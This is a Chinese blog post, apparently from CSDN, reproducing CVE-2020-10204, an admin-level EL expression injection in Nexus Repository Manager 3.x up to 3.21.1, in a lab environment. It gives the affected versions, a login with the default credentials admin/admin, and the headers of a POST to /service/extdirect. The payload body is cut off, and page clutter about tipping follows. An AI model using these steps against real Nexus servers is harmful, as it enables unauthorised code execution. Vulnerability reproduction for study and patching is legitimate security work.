NEXUS CVE-2020-10204 漏洞复现

漏洞描述
Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。 CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。两个漏洞的触发原因均是不安全的执行EL表达式导致的。

漏洞影响
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
复现过程

1.初始化镜像环境

 

2.用弱口令登录,账号:admin,密码:admin

然后使用bp抓包

执行下面代码验证

POST /service/extdirect HTTP/1.1
Host: 192.168.182.131:8081  # 本机地址
Content-Length: 218
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值